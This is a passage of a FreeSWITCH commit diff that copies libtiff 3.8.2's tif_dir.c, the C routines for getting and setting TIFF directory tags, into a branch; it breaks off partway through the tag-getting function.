+/* Define to 1 if your processor stores words with the most significant byte
+   first (like Motorola and SPARC, unlike Intel and VAX). */
+/* #undef WORDS_BIGENDIAN */
+
+/* Define to `__inline__' or `__inline' if that's what the C compiler
+   calls it, or to nothing if 'inline' is not supported under any name.  */
+#ifndef __cplusplus
+# ifndef inline
+#  define inline __inline
+# endif
+#endif
+
+#define lfind _lfind

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_dir.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1350 @@
+/* $Id: tif_dir.c,v 1.72 2006/03/15 12:49:35 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Directory Tag Get & Set Routines.
+ * (and also some miscellaneous stuff)
+ */
+#include "tiffiop.h"
+
+/*
+ * These are used in the backwards compatibility code...
+ */
+#define DATATYPE_VOID		0       /* !untyped data */
+#define DATATYPE_INT		1       /* !signed integer data */
+#define DATATYPE_UINT		2       /* !unsigned integer data */
+#define DATATYPE_IEEEFP		3       /* !IEEE floating point data */
+
+static void
+setByteArray(void** vpp, void* vp, size_t nmemb, size_t elem_size)
+{
+	if (*vpp)
+		_TIFFfree(*vpp), *vpp = 0;
+	if (vp) {
+		tsize_t	bytes = nmemb * elem_size;
+		if (elem_size && bytes / elem_size == nmemb)
+			*vpp = (void*) _TIFFmalloc(bytes);
+		if (*vpp)
+			_TIFFmemcpy(*vpp, vp, bytes);
+	}
+}
+void _TIFFsetByteArray(void** vpp, void* vp, uint32 n)
+    { setByteArray(vpp, vp, n, 1); }
+void _TIFFsetString(char** cpp, char* cp)
+    { setByteArray((void**) cpp, (void*) cp, strlen(cp)+1, 1); }
+void _TIFFsetNString(char** cpp, char* cp, uint32 n)
+    { setByteArray((void**) cpp, (void*) cp, n, 1); }
+void _TIFFsetShortArray(uint16** wpp, uint16* wp, uint32 n)
+    { setByteArray((void**) wpp, (void*) wp, n, sizeof (uint16)); }
+void _TIFFsetLongArray(uint32** lpp, uint32* lp, uint32 n)
+    { setByteArray((void**) lpp, (void*) lp, n, sizeof (uint32)); }
+void _TIFFsetFloatArray(float** fpp, float* fp, uint32 n)
+    { setByteArray((void**) fpp, (void*) fp, n, sizeof (float)); }
+void _TIFFsetDoubleArray(double** dpp, double* dp, uint32 n)
+    { setByteArray((void**) dpp, (void*) dp, n, sizeof (double)); }
+
+/*
+ * Install extra samples information.
+ */
+static int
+setExtraSamples(TIFFDirectory* td, va_list ap, uint32* v)
+{
+	uint16* va;
+	uint32 i;
+
+	*v = va_arg(ap, uint32);
+	if ((uint16) *v > td->td_samplesperpixel)
+		return (0);
+	va = va_arg(ap, uint16*);
+	if (*v > 0 && va == NULL)		/* typically missing param */
+		return (0);
+	for (i = 0; i < *v; i++)
+		if (va[i] > EXTRASAMPLE_UNASSALPHA)
+			return (0);
+	td->td_extrasamples = (uint16) *v;
+	_TIFFsetShortArray(&td->td_sampleinfo, va, td->td_extrasamples);
+	return (1);
+}
+
+static uint32
+checkInkNamesString(TIFF* tif, uint32 slen, const char* s)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+	uint16 i = td->td_samplesperpixel;
+
+	if (slen > 0) {
+		const char* ep = s+slen;
+		const char* cp = s;
+		for (; i > 0; i--) {
+			for (; *cp != '\0'; cp++)
+				if (cp >= ep)
+					goto bad;
+			cp++;				/* skip \0 */
+		}
+		return (cp-s);
+	}
+bad:
+	TIFFErrorExt(tif->tif_clientdata, "TIFFSetField",
+	    "%s: Invalid InkNames value; expecting %d names, found %d",
+	    tif->tif_name,
+	    td->td_samplesperpixel,
+	    td->td_samplesperpixel-i);
+	return (0);
+}
+
+static int
+_TIFFVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	static const char module[] = "_TIFFVSetField";
+	
+	TIFFDirectory* td = &tif->tif_dir;
+	int status = 1;
+	uint32 v32, i, v;
+	char* s;
+
+	switch (tag) {
+	case TIFFTAG_SUBFILETYPE:
+		td->td_subfiletype = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_IMAGEWIDTH:
+		td->td_imagewidth = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_IMAGELENGTH:
+		td->td_imagelength = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_BITSPERSAMPLE:
+		td->td_bitspersample = (uint16) va_arg(ap, int);
+		/*
+		 * If the data require post-decoding processing to byte-swap
+		 * samples, set it up here.  Note that since tags are required
+		 * to be ordered, compression code can override this behaviour
+		 * in the setup method if it wants to roll the post decoding
+		 * work in with its normal work.
+		 */
+		if (tif->tif_flags & TIFF_SWAB) {
+			if (td->td_bitspersample == 16)
+				tif->tif_postdecode = _TIFFSwab16BitData;
+			else if (td->td_bitspersample == 24)
+				tif->tif_postdecode = _TIFFSwab24BitData;
+			else if (td->td_bitspersample == 32)
+				tif->tif_postdecode = _TIFFSwab32BitData;
+			else if (td->td_bitspersample == 64)
+				tif->tif_postdecode = _TIFFSwab64BitData;
+			else if (td->td_bitspersample == 128) /* two 64's */
+				tif->tif_postdecode = _TIFFSwab64BitData;
+		}
+		break;
+	case TIFFTAG_COMPRESSION:
+		v = va_arg(ap, uint32) & 0xffff;
+		/*
+		 * If we're changing the compression scheme, the notify the
+		 * previous module so that it can cleanup any state it's
+		 * setup.
+		 */
+		if (TIFFFieldSet(tif, FIELD_COMPRESSION)) {
+			if (td->td_compression == v)
+				break;
+			(*tif->tif_cleanup)(tif);
+			tif->tif_flags &= ~TIFF_CODERSETUP;
+		}
+		/*
+		 * Setup new compression routine state.
+		 */
+		if( (status = TIFFSetCompressionScheme(tif, v)) != 0 )
+                    td->td_compression = (uint16) v;
+                else
+                    status = 0;
+		break;
+	case TIFFTAG_PHOTOMETRIC:
+		td->td_photometric = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_THRESHHOLDING:
+		td->td_threshholding = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_FILLORDER:
+		v = va_arg(ap, uint32);
+		if (v != FILLORDER_LSB2MSB && v != FILLORDER_MSB2LSB)
+			goto badvalue;
+		td->td_fillorder = (uint16) v;
+		break;
+		break;
+	case TIFFTAG_ORIENTATION:
+		v = va_arg(ap, uint32);
+		if (v < ORIENTATION_TOPLEFT || ORIENTATION_LEFTBOT < v) {
+			TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+			    "Bad value %lu for \"%s\" tag ignored",
+			    v, _TIFFFieldWithTag(tif, tag)->field_name);
+		} else
+			td->td_orientation = (uint16) v;
+		break;
+	case TIFFTAG_SAMPLESPERPIXEL:
+		/* XXX should cross check -- e.g. if pallette, then 1 */
+		v = va_arg(ap, uint32);
+		if (v == 0)
+			goto badvalue;
+		td->td_samplesperpixel = (uint16) v;
+		break;
+	case TIFFTAG_ROWSPERSTRIP:
+		v32 = va_arg(ap, uint32);
+		if (v32 == 0)
+			goto badvalue32;
+		td->td_rowsperstrip = v32;
+		if (!TIFFFieldSet(tif, FIELD_TILEDIMENSIONS)) {
+			td->td_tilelength = v32;
+			td->td_tilewidth = td->td_imagewidth;
+		}
+		break;
+	case TIFFTAG_MINSAMPLEVALUE:
+		td->td_minsamplevalue = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_MAXSAMPLEVALUE:
+		td->td_maxsamplevalue = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_SMINSAMPLEVALUE:
+		td->td_sminsamplevalue = va_arg(ap, double);
+		break;
+	case TIFFTAG_SMAXSAMPLEVALUE:
+		td->td_smaxsamplevalue = va_arg(ap, double);
+		break;
+	case TIFFTAG_XRESOLUTION:
+		td->td_xresolution = (float) va_arg(ap, double);
+		break;
+	case TIFFTAG_YRESOLUTION:
+		td->td_yresolution = (float) va_arg(ap, double);
+		break;
+	case TIFFTAG_PLANARCONFIG:
+		v = va_arg(ap, uint32);
+		if (v != PLANARCONFIG_CONTIG && v != PLANARCONFIG_SEPARATE)
+			goto badvalue;
+		td->td_planarconfig = (uint16) v;
+		break;
+	case TIFFTAG_XPOSITION:
+		td->td_xposition = (float) va_arg(ap, double);
+		break;
+	case TIFFTAG_YPOSITION:
+		td->td_yposition = (float) va_arg(ap, double);
+		break;
+	case TIFFTAG_RESOLUTIONUNIT:
+		v = va_arg(ap, uint32);
+		if (v < RESUNIT_NONE || RESUNIT_CENTIMETER < v)
+			goto badvalue;
+		td->td_resolutionunit = (uint16) v;
+		break;
+	case TIFFTAG_PAGENUMBER:
+		td->td_pagenumber[0] = (uint16) va_arg(ap, int);
+		td->td_pagenumber[1] = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_HALFTONEHINTS:
+		td->td_halftonehints[0] = (uint16) va_arg(ap, int);
+		td->td_halftonehints[1] = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_COLORMAP:
+		v32 = (uint32)(1L<<td->td_bitspersample);
+		_TIFFsetShortArray(&td->td_colormap[0], va_arg(ap, uint16*), v32);
+		_TIFFsetShortArray(&td->td_colormap[1], va_arg(ap, uint16*), v32);
+		_TIFFsetShortArray(&td->td_colormap[2], va_arg(ap, uint16*), v32);
+		break;
+	case TIFFTAG_EXTRASAMPLES:
+		if (!setExtraSamples(td, ap, &v))
+			goto badvalue;
+		break;
+	case TIFFTAG_MATTEING:
+		td->td_extrasamples = (uint16) (va_arg(ap, int) != 0);
+		if (td->td_extrasamples) {
+			uint16 sv = EXTRASAMPLE_ASSOCALPHA;
+			_TIFFsetShortArray(&td->td_sampleinfo, &sv, 1);
+		}
+		break;
+	case TIFFTAG_TILEWIDTH:
+		v32 = va_arg(ap, uint32);
+		if (v32 % 16) {
+			if (tif->tif_mode != O_RDONLY)
+				goto badvalue32;
+			TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+				"Nonstandard tile width %d, convert file", v32);
+		}
+		td->td_tilewidth = v32;
+		tif->tif_flags |= TIFF_ISTILED;
+		break;
+	case TIFFTAG_TILELENGTH:
+		v32 = va_arg(ap, uint32);
+		if (v32 % 16) {
+			if (tif->tif_mode != O_RDONLY)
+				goto badvalue32;
+			TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+			    "Nonstandard tile length %d, convert file", v32);
+		}
+		td->td_tilelength = v32;
+		tif->tif_flags |= TIFF_ISTILED;
+		break;
+	case TIFFTAG_TILEDEPTH:
+		v32 = va_arg(ap, uint32);
+		if (v32 == 0)
+			goto badvalue32;
+		td->td_tiledepth = v32;
+		break;
+	case TIFFTAG_DATATYPE:
+		v = va_arg(ap, uint32);
+		switch (v) {
+		case DATATYPE_VOID:	v = SAMPLEFORMAT_VOID;	break;
+		case DATATYPE_INT:	v = SAMPLEFORMAT_INT;	break;
+		case DATATYPE_UINT:	v = SAMPLEFORMAT_UINT;	break;
+		case DATATYPE_IEEEFP:	v = SAMPLEFORMAT_IEEEFP;break;
+		default:		goto badvalue;
+		}
+		td->td_sampleformat = (uint16) v;
+		break;
+	case TIFFTAG_SAMPLEFORMAT:
+		v = va_arg(ap, uint32);
+		if (v < SAMPLEFORMAT_UINT || SAMPLEFORMAT_COMPLEXIEEEFP < v)
+			goto badvalue;
+		td->td_sampleformat = (uint16) v;
+
+                /*  Try to fix up the SWAB function for complex data. */
+                if( td->td_sampleformat == SAMPLEFORMAT_COMPLEXINT 
+                    && td->td_bitspersample == 32
+                    && tif->tif_postdecode == _TIFFSwab32BitData )
+                    tif->tif_postdecode = _TIFFSwab16BitData;
+                else if( (td->td_sampleformat == SAMPLEFORMAT_COMPLEXINT 
+                          || td->td_sampleformat == SAMPLEFORMAT_COMPLEXIEEEFP)
+                         && td->td_bitspersample == 64
+                         && tif->tif_postdecode == _TIFFSwab64BitData )
+                    tif->tif_postdecode = _TIFFSwab32BitData;
+		break;
+	case TIFFTAG_IMAGEDEPTH:
+		td->td_imagedepth = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_SUBIFD:
+		if ((tif->tif_flags & TIFF_INSUBIFD) == 0) {
+			td->td_nsubifd = (uint16) va_arg(ap, int);
+			_TIFFsetLongArray(&td->td_subifd, va_arg(ap, uint32*),
+			    (long) td->td_nsubifd);
+		} else {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: Sorry, cannot nest SubIFDs",
+				  tif->tif_name);
+			status = 0;
+		}
+		break;
+	case TIFFTAG_YCBCRPOSITIONING:
+		td->td_ycbcrpositioning = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_YCBCRSUBSAMPLING:
+		td->td_ycbcrsubsampling[0] = (uint16) va_arg(ap, int);
+		td->td_ycbcrsubsampling[1] = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_TRANSFERFUNCTION:
+		v = (td->td_samplesperpixel - td->td_extrasamples) > 1 ? 3 : 1;
+		for (i = 0; i < v; i++)
+			_TIFFsetShortArray(&td->td_transferfunction[i],
+			    va_arg(ap, uint16*), 1L<<td->td_bitspersample);
+		break;
+	case TIFFTAG_INKNAMES:
+		v = va_arg(ap, uint32);
+		s = va_arg(ap, char*);
+		v = checkInkNamesString(tif, v, s);
+                status = v > 0;
+		if( v > 0 ) {
+			_TIFFsetNString(&td->td_inknames, s, v);
+			td->td_inknameslen = v;
+		}
+		break;
+        default: {
+            const TIFFFieldInfo* fip = _TIFFFindFieldInfo(tif, tag, TIFF_ANY);
+            TIFFTagValue *tv;
+            int tv_size, iCustom;
+
+            /*
+	     * This can happen if multiple images are open with different
+	     * codecs which have private tags.  The global tag information
+	     * table may then have tags that are valid for one file but not
+	     * the other. If the client tries to set a tag that is not valid
+	     * for the image's codec then we'll arrive here.  This
+	     * happens, for example, when tiffcp is used to convert between
+	     * compression schemes and codec-specific tags are blindly copied.
+             */
+            if(fip == NULL || fip->field_bit != FIELD_CUSTOM) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+		    "%s: Invalid %stag \"%s\" (not supported by codec)",
+		    tif->tif_name, isPseudoTag(tag) ? "pseudo-" : "",
+		    _TIFFFieldWithTag(tif, tag)->field_name);
+		status = 0;
+		break;
+            }
+
+            /*
+             * Find the existing entry for this custom value.
+             */
+            tv = NULL;
+            for(iCustom = 0; iCustom < td->td_customValueCount; iCustom++) {
+                if(td->td_customValues[iCustom].info == fip) {
+                    tv = td->td_customValues + iCustom;
+                    if(tv->value != NULL)
+                    {
+                        _TIFFfree(tv->value);
+                        tv->value = NULL;
+                    }
+                    break;
+                }
+            }
+
+            /*
+             * Grow the custom list if the entry was not found.
+             */
+            if(tv == NULL) {
+		TIFFTagValue	*new_customValues;
+		
+		td->td_customValueCount++;
+		new_customValues = (TIFFTagValue *)
+			_TIFFrealloc(td->td_customValues,
+				     sizeof(TIFFTagValue) * td->td_customValueCount);
+		if (!new_customValues) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+		"%s: Failed to allocate space for list of custom values",
+				  tif->tif_name);
+			status = 0;
+			goto end;
+		}
+
+		td->td_customValues = new_customValues;
+
+                tv = td->td_customValues + (td->td_customValueCount-1);
+                tv->info = fip;
+                tv->value = NULL;
+                tv->count = 0;
+            }
+
+            /*
+             * Set custom value ... save a copy of the custom tag value.
+             */
+	    tv_size = _TIFFDataSize(fip->field_type);
+	    if (tv_size == 0) {
+		    status = 0;
+		    TIFFErrorExt(tif->tif_clientdata, module,
+				 "%s: Bad field type %d for \"%s\"",
+				 tif->tif_name, fip->field_type,
+				 fip->field_name);
+		    goto end;
+	    }
+           
+            if(fip->field_passcount) {
+		    if (fip->field_writecount == TIFF_VARIABLE2)
+			tv->count = (uint32) va_arg(ap, uint32);
+		    else
+			tv->count = (int) va_arg(ap, int);
+	    } else if (fip->field_writecount == TIFF_VARIABLE
+		       || fip->field_writecount == TIFF_VARIABLE2)
+		tv->count = 1;
+	    else if (fip->field_writecount == TIFF_SPP)
+		tv->count = td->td_samplesperpixel;
+	    else
+                tv->count = fip->field_writecount;
+            
+    
+	    if (fip->field_type == TIFF_ASCII)
+		    _TIFFsetString((char **)&tv->value, va_arg(ap, char *));
+	    else {
+                tv->value = _TIFFmalloc(tv_size * tv->count);
+		if (!tv->value) {
+		    status = 0;
+		    goto end;
+		}
+
+		if ((fip->field_passcount
+		    || fip->field_writecount == TIFF_VARIABLE
+		    || fip->field_writecount == TIFF_VARIABLE2
+		    || fip->field_writecount == TIFF_SPP
+		    || tv->count > 1)
+		    && fip->field_tag != TIFFTAG_PAGENUMBER
+		    && fip->field_tag != TIFFTAG_HALFTONEHINTS
+		    && fip->field_tag != TIFFTAG_YCBCRSUBSAMPLING
+		    && fip->field_tag != TIFFTAG_DOTRANGE) {
+                    _TIFFmemcpy(tv->value, va_arg(ap, void *),
+				tv->count * tv_size);
+		} else {
+		    /*
+		     * XXX: The following loop required to handle
+		     * TIFFTAG_PAGENUMBER, TIFFTAG_HALFTONEHINTS,
+		     * TIFFTAG_YCBCRSUBSAMPLING and TIFFTAG_DOTRANGE tags.
+		     * These tags are actually arrays and should be passed as
+		     * array pointers to TIFFSetField() function, but actually
+		     * passed as a list of separate values. This behaviour
+		     * must be changed in the future!
+		     */
+		    int i;
+		    char *val = (char *)tv->value;
+
+		    for (i = 0; i < tv->count; i++, val += tv_size) {
+			    switch (fip->field_type) {
+				case TIFF_BYTE:
+				case TIFF_UNDEFINED:
+				    {
+					uint8 v = (uint8)va_arg(ap, int);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				case TIFF_SBYTE:
+				    {
+					int8 v = (int8)va_arg(ap, int);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				case TIFF_SHORT:
+				    {
+					uint16 v = (uint16)va_arg(ap, int);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				case TIFF_SSHORT:
+				    {
+					int16 v = (int16)va_arg(ap, int);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				case TIFF_LONG:
+				case TIFF_IFD:
+				    {
+					uint32 v = va_arg(ap, uint32);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				case TIFF_SLONG:
+				    {
+					int32 v = va_arg(ap, int32);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				case TIFF_RATIONAL:
+				case TIFF_SRATIONAL:
+				case TIFF_FLOAT:
+				    {
+					float v = (float)va_arg(ap, double);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				case TIFF_DOUBLE:
+				    {
+					double v = va_arg(ap, double);
+					_TIFFmemcpy(val, &v, tv_size);
+				    }
+				    break;
+				default:
+				    _TIFFmemset(val, 0, tv_size);
+				    status = 0;
+				    break;
+			    }
+		    }
+		}
+	    }
+          }
+	}
+	if (status) {
+		TIFFSetFieldBit(tif, _TIFFFieldWithTag(tif, tag)->field_bit);
+		tif->tif_flags |= TIFF_DIRTYDIRECT;
+	}
+
+end:
+	va_end(ap);
+	return (status);
+badvalue:
+	TIFFErrorExt(tif->tif_clientdata, module, "%s: Bad value %d for \"%s\"",
+		  tif->tif_name, v, _TIFFFieldWithTag(tif, tag)->field_name);
+	va_end(ap);
+	return (0);
+badvalue32:
+	TIFFErrorExt(tif->tif_clientdata, module, "%s: Bad value %ld for \"%s\"",
+		   tif->tif_name, v32, _TIFFFieldWithTag(tif, tag)->field_name);
+	va_end(ap);
+	return (0);
+}
+
+/*
+ * Return 1/0 according to whether or not
+ * it is permissible to set the tag's value.
+ * Note that we allow ImageLength to be changed
+ * so that we can append and extend to images.
+ * Any other tag may not be altered once writing
+ * has commenced, unless its value has no effect
+ * on the format of the data that is written.
+ */
+static int
+OkToChangeTag(TIFF* tif, ttag_t tag)
+{
+	const TIFFFieldInfo* fip = _TIFFFindFieldInfo(tif, tag, TIFF_ANY);
+	if (!fip) {			/* unknown tag */
+		TIFFErrorExt(tif->tif_clientdata, "TIFFSetField", "%s: Unknown %stag %u",
+		    tif->tif_name, isPseudoTag(tag) ? "pseudo-" : "", tag);
+		return (0);
+	}
+	if (tag != TIFFTAG_IMAGELENGTH && (tif->tif_flags & TIFF_BEENWRITING) &&
+	    !fip->field_oktochange) {
+		/*
+		 * Consult info table to see if tag can be changed
+		 * after we've started writing.  We only allow changes
+		 * to those tags that don't/shouldn't affect the
+		 * compression and/or format of the data.
+		 */
+		TIFFErrorExt(tif->tif_clientdata, "TIFFSetField",
+		    "%s: Cannot modify tag \"%s\" while writing",
+		    tif->tif_name, fip->field_name);
+		return (0);
+	}
+	return (1);
+}
+
+/*
+ * Record the value of a field in the
+ * internal directory structure.  The
+ * field will be written to the file
+ * when/if the directory structure is
+ * updated.
+ */
+int
+TIFFSetField(TIFF* tif, ttag_t tag, ...)
+{
+	va_list ap;
+	int status;
+
+	va_start(ap, tag);
+	status = TIFFVSetField(tif, tag, ap);
+	va_end(ap);
+	return (status);
+}
+
+/*
+ * Like TIFFSetField, but taking a varargs
+ * parameter list.  This routine is useful
+ * for building higher-level interfaces on
+ * top of the library.
+ */
+int
+TIFFVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	return OkToChangeTag(tif, tag) ?
+	    (*tif->tif_tagmethods.vsetfield)(tif, tag, ap) : 0;
+}
+
+static int
+_TIFFVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+    TIFFDirectory* td = &tif->tif_dir;
+    int            ret_val = 1;
+
+    switch (tag) {
+	case TIFFTAG_SUBFILETYPE:
+            *va_arg(ap, uint32*) = td->td_subfiletype;
+            break;
+	case TIFFTAG_IMAGEWIDTH:
+            *va_arg(ap, uint32*) = td->td_imagewidth;
+            break;
+	case TIFFTAG_IMAGELENGTH:
+            *va_arg(ap, uint32*) = td->td_imagelength;
+            break;
+	case TIFFTAG_BITSPERSAMPLE:
+            *va_arg(ap, uint16*) = td->td_bitspersample;
+            break;
+	case TIFFTAG_COMPRESSION:
+            *va_arg(ap, uint16*) = td->td_compression;
+            break;
+	case TIFFTAG_PHOTOMETRIC:
+            *va_arg(ap, uint16*) = td->td_photometric;
+            break;
+	case TIFFTAG_THRESHHOLDING:
+            *va_arg(ap, uint16*) = td->td_threshholding;
+            break;
+	case TIFFTAG_FILLORDER:
+            *va_arg(ap, uint16*) = td->td_fillorder;
+            break;
+	case TIFFTAG_ORIENTATION:
+            *va_arg(ap, uint16*) = td->td_orientation;
+            break;
+	case TIFFTAG_SAMPLESPERPIXEL:
+            *va_arg(ap, uint16*) = td->td_samplesperpixel;
+            break;
+	case TIFFTAG_ROWSPERSTRIP:
+            *va_arg(ap, uint32*) = td->td_rowsperstrip;
+            break;
+	case TIFFTAG_MINSAMPLEVALUE:
+            *va_arg(ap, uint16*) = td->td_minsamplevalue;
+            break;
+	case TIFFTAG_MAXSAMPLEVALUE:
+            *va_arg(ap, uint16*) = td->td_maxsamplevalue;
+            break;
+	case TIFFTAG_SMINSAMPLEVALUE:
+            *va_arg(ap, double*) = td->td_sminsamplevalue;
+            break;
+	case TIFFTAG_SMAXSAMPLEVALUE:
+            *va_arg(ap, double*) = td->td_smaxsamplevalue;
+            break;
+	case TIFFTAG_XRESOLUTION:
+            *va_arg(ap, float*) = td->td_xresolution;
+            break;
+	case TIFFTAG_YRESOLUTION:
+            *va_arg(ap, float*) = td->td_yresolution;
+            break;
+	case TIFFTAG_PLANARCONFIG:
+            *va_arg(ap, uint16*) = td->td_planarconfig;
+            break;
+	case TIFFTAG_XPOSITION:
+            *va_arg(ap, float*) = td->td_xposition;
+            break;
+	case TIFFTAG_YPOSITION:
+            *va_arg(ap, float*) = td->td_yposition;
+            break;
+	case TIFFTAG_RESOLUTIONUNIT:
+            *va_arg(ap, uint16*) = td->td_resolutionunit;
+            break;
+	case TIFFTAG_PAGENUMBER:
+            *va_arg(ap, uint16*) = td->td_pagenumber[0];
+            *va_arg(ap, uint16*) = td->td_pagenumber[1];
+            break;
+	case TIFFTAG_HALFTONEHINTS:
+            *va_arg(ap, uint16*) = td->td_halftonehints[0];
+            *va_arg(ap, uint16*) = td->td_halftonehints[1];
+            break;
+	case TIFFTAG_COLORMAP:
+            *va_arg(ap, uint16**) = td->td_colormap[0];
+            *va_arg(ap, uint16**) = td->td_colormap[1];
+            *va_arg(ap, uint16**) = td->td_colormap[2];
+            break;
+	case TIFFTAG_STRIPOFFSETS:
+	case TIFFTAG_TILEOFFSETS:
+            *va_arg(ap, uint32**) = td->td_stripoffset;
+            break;
+	case TIFFTAG_STRIPBYTECOUNTS:
+	case TIFFTAG_TILEBYTECOUNTS:
+            *va_arg(ap, uint32**) = td->td_stripbytecount;
+            break;
+	case TIFFTAG_MATTEING:
+            *va_arg(ap, uint16*) =
+                (td->td_extrasamples == 1 &&
+                 td->td_sampleinfo[0] == EXTRASAMPLE_ASSOCALPHA);
+            break;
+	case TIFFTAG_EXTRASAMPLES:
+            *va_arg(ap, uint16*) = td->td_extrasamples;
+            *va_arg(ap, uint16**) = td->td_sampleinfo;
+            break;
+	case TIFFTAG_TILEWIDTH:
+            *va_arg(ap, uint32*) = td->td_tilewidth;
+            break;
+	case TIFFTAG_TILELENGTH:
+            *va_arg(ap, uint32*) = td->td_tilelength;
+            break;
+	case TIFFTAG_TILEDEPTH:
+            *va_arg(ap, uint32*) = td->td_tiledepth;
+            break;
+	case TIFFTAG_DATATYPE:
+            switch (td->td_sampleformat) {
+		case SAMPLEFORMAT_UINT:
+                    *va_arg(ap, uint16*) = DATATYPE_UINT;
+                    break;
+		case SAMPLEFORMAT_INT:
+                    *va_arg(ap, uint16*) = DATATYPE_INT;
+                    break;
+		case SAMPLEFORMAT_IEEEFP:
+                    *va_arg(ap, uint16*) = DATATYPE_IEEEFP;
+                    break;
+		case SAMPLEFORMAT_VOID:
+                    *va_arg(ap, uint16*) = DATATYPE_VOID;
+                    break;
+            }
+            break;
+	case TIFFTAG_SAMPLEFORMAT:
+            *va_arg(ap, uint16*) = td->td_sampleformat;
+            break;
+	case TIFFTAG_IMAGEDEPTH:
+            *va_arg(ap, uint32*) = td->td_imagedepth;
+            break;
+	case TIFFTAG_SUBIFD:
+            *va_arg(ap, uint16*) = td->td_nsubifd;
+            *va_arg(ap, uint32**) = td->td_subifd;
+            break;
+	case TIFFTAG_YCBCRPOSITIONING:
+            *va_arg(ap, uint16*) = td->td_ycbcrpositioning;
+            break;
+	case TIFFTAG_YCBCRSUBSAMPLING:
+            *va_arg(ap, uint16*) = td->td_ycbcrsubsampling[0];
+            *va_arg(ap, uint16*) = td->td_ycbcrsubsampling[1];
+            break;
+	case TIFFTAG_TRANSFERFUNCTION:
+            *va_arg(ap, uint16**) = td->td_transferfunction[0];
+            if (td->td_samplesperpixel - td->td_extrasamples > 1) {
+                *va_arg(ap, uint16**) = td->td_transferfunction[1];
+                *va_arg(ap, uint16**) = td->td_transferfunction[2];
+            }
+            break;
+	case TIFFTAG_INKNAMES:
+            *va_arg(ap, char**) = td->td_inknames;
+            break;
+        default:
+        {
+            const TIFFFieldInfo* fip = _TIFFFindFieldInfo(tif, tag, TIFF_ANY);
+            int           i;
+            
+            /*
+             * This can happen if multiple images are open with
+             * different codecs which have private tags.  The
+             * global tag information table may then have tags
+             * that are valid for one file but not the other. 
+             * If the client tries to get a tag that is not valid
+             * for the image's codec then we'll arrive here.
+             */
+            if( fip == NULL || fip->field_bit != FIELD_CUSTOM )
+            {
+				TIFFErrorExt(tif->tif_clientdata, "_TIFFVGetField",
+                          "%s: Invalid %stag \"%s\" (not supported by codec)",
+                          tif->tif_name, isPseudoTag(tag) ? "pseudo-" : "",
+                          _TIFFFieldWithTag(tif, tag)->field_name);
+                ret_val = 0;
+                break;
+            }
+
+            /*
+	     * Do we have a custom value?
+	     */
+            ret_val = 0;
+            for (i = 0; i < td->td_customValueCount; i++) {
+		TIFFTagValue *tv = td->td_customValues + i;
+
+		if (tv->info->field_tag != tag)
+			continue;
+                
+		if (fip->field_passcount) {
+			if (fip->field_readcount == TIFF_VARIABLE2) 
+				*va_arg(ap, uint32*) = (uint32)tv->count;
+			else	/* Assume TIFF_VARIABLE */
+				*va_arg(ap, uint16*) = (uint16)tv->count;
+			*va_arg(ap, void **) = tv->value;
+			ret_val = 1;
+                } else {
+			if ((fip->field_type == TIFF_ASCII
